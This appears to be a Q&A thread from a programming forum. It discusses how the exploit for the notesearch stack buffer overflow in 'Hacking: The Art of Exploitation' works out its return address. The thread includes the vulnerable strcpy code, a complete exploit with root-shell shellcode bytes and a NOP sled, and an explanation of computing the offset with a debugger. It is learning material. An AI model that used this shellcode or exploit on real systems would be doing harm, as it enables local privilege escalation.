0
votes

I'm reading the book "Hacking- The Art of Exploitation 2nd edition".

I'm confused about the following example of injecting a string buffer as an argument to a stack based buffer overflow vulnerable process.

Buffer structure:

| NOP | NOP...NOP | NOP | shell code | RET | RET...RET |

In the vulnerable process this buffer is copied to a char buffer and should overflow and replace base stack parameters which also include the original return address.

According to the text - RET should point to some location on the NOP slide to get EIP slide down the NOP slide and execute the shell code - sounds great !

However, how is this RET address deduced?

Vulnerable code (process #1):

int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // File descriptor
    char searchstring[100];

    if(argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);  //<-------- buffer is injected here
    else // otherwise,
        searchstring[0] = 0;

Exploitation code -process #2:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";


int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret;
    char *command, *buffer;

    unsigned int offset=atoi(argv[1]);

    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.

    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.

    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);

    ret = (unsigned int) &i - offset; //Set return address <---- How ???

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); // Run exploit.
    free(command);
}

Is this a coincidence that i variable declared on top of process#2 main? Should ret get the return value from some place within process#1's main's stack?

Edit: Specifically I don't understand how can one process access other process's memory space-

ret = (unsigned int) &i - offset; //Set return address

Or maybe I misunderstood something here.

1
The book explains this concept in great detail in that chapter. Please read the rest of said chapter. You could also use the disc that comes with the book on a Linux virtual machine to see the code run for yourself.absoluteAquarian
@Tau - I didn't see any explanation regarding this specific line of code. The other examples I saw in this chapter didn't run the vulnerable process from within the exploiting process and were easier for me to understand. If you have any idea why this is the way the return address is approximated I would appreciate any pointer on this matter.manish ma
IIRC, the book mentions how when you create NOP slides, it's more of a "guess-and-check" game to see if you got the slide around the right addresses. After all, the bigger the slide, the more room for error you have. As for how it's approximated, you have to take into account the size of the program and the size of your shellcode as well as the NOP and RET buffers.absoluteAquarian
@Tau, thanks for your kind reply. But the part I don't understand is "ret = (unsignet int)&i - offset". This means that process#1 is located directly above process#2 in memory? More specifically, process#1's stack segment is located above process#2's stack segment?manish ma
Process #1 was called in Process #2, right? (system(command);) If so, then its registers will be in higher memory addresses (stack, data, bss) or lower memory addresses (heap) than Process #2. However, if Process #2 is called in Process #1, then the reverse will be true: Process #2 will be in higher/lower memory addresses.absoluteAquarian

1 Answers

0
votes

So this line is the question

ret = (unsigned int) &i - offset;

As far as I know one user process can't access the memory inside another user process. But, why the writer of the code using address of i to calculate return address? For simple program like notesearch usually have addresses that are not very different, so the purpose is to help the reader to calculate the return address easily. Ok let me describe it.

Case 1

&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = 0
return_address = 0x0061fb20 = &i - offset

notesearch memory view

                  High address
0xFFFFFFFF    +------------------+
              |                  |
              |   garbage data   |
              |                  |
0x0061fb20    +------------------+ <- &i # EIP land here, wrong address
              |                  |
              |                  |
              |                  |
              |                  |
              |  return_address  |
              |                  |
              |    shellcode     |
              |                  |
              |     NOP sled     |
              |                  |
0x0060fa10    +------------------+ <- start of searchstring
              |                  |
0x00000000    +------------------+
                  Low address

As you can see from case 1, return address is equal to &i, so that after your return address overwrite the original return address, the code will return to &i, which is garbage data. So how do you make the return address point to the NOP sled? Yes, this is when offset which is your input come into play.

Case 2

&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = &i - &searchstring
return_address = 0x0060fa10 = &i - offset

notesearch memory view

                  High address
0xFFFFFFFF    +------------------+
              |                  |
              |   garbage data   |
              |                  |
0x0061fb20    +------------------+ <- &i
              |                  |
              |                  |
              |                  |
              |                  |
              |  return_address  |
              |                  |
              |    shellcode     |
              |                  |
              |     NOP sled     |
              |                  |
0x0060fa10    +------------------+ <- &i - offset # start of searchstring, EIP land here
              |                  |
0x00000000    +------------------+
                  Low address

Your job here is to calculate the return address with the help of &i and your offset so that EIP will land in the start of searchstring or NOP sled. To calculate it you should run the exploit program in debugger and look for &i, after that run the notesearch program and look for &searchstring. offset = &i - &searchstring, offset is (+) if &i > &searchstring else offset is (-).